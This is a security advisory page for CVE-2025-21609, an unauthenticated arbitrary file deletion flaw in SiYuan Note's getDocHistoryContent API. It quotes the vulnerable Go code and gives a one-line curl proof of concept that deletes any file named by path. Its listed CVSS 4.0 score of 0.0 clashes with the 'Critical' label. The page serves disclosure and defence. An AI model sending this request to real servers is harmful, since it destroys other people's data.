Skip to content

GHSA-8fx8-pffw-w498 CVE-2025-21609 GO-2025-3362

SiYuan has an arbitrary file deletion vulnerability

Critical Go
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.63%
Chance of exploitation in the next 30 days. Higher than 50.04% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-459 Incomplete Cleanup
CWE-552 Files or Directories Accessible to External Parties
Fix
None yet
No fixed version published

Description

Summary

A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.

Details

The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent endpoint.

Sending a request to the /api/history/getDocHistoryContent like:

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'

Replace <abs_filepath_of_a_file> with the absolute file path of the target file you wish to delete.

The historyPath parameter in the payload is processed by the func getDocHistoryContent in api/history.go:133.

In turn, historyPath is passed to the func GetDocHistoryContent located in model/history.go:150 , which is the slink of the vulnerability.

if historyPath exists and does not satisfy the filesys.ParseJSONWithoutFix, then it will be deleted by os.RemoveAll

func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {
	if !gulu.File.IsExist(historyPath) {
		logging.LogWarnf("doc history [%s] not exist", historyPath)
		return
	}

	data, err := filelock.ReadFile(historyPath)
	if err != nil {
		logging.LogErrorf("read file [%s] failed: %s", historyPath, err)
		return
	}
	isLargeDoc = 1024*1024*1 <= len(data)

	luteEngine := NewLute()
	historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)
	if err != nil {
		logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath)
		os.RemoveAll(historyPath)
		return
	}
	...
}

PoC

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'

Impact

arbitrary file deletion vulnerability

Affected versions

Go

PackageVulnerableFixed in
github.com/siyuan-note/siyuan/kernel
all versions
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 9.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Weakness

CWE-459: Incomplete Cleanup

The product does not properly "clean up" and remove temporary or supporting resources after they have been used.

How to prevent it
  • Architecture and Design, Implementation: Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.

CWE-552: Files or Directories Accessible to External Parties

The product makes files or directories accessible to unauthorized actors, even though they should not be.

How to prevent it
  • Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-9cqf-hhrq-7v45
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-57v5-wqx3-cgj4
SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-4wwp-f6gw-6qm5
SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-3cm4-ccvw-6xr6
SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/*
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-x8gv-g2g3-65fj
SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-p23f-cm6q-2qp8
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-rpx2-p6hp-x5gj
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
Medium Also affects github.com/siyuan-note/siyuan/kernel
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor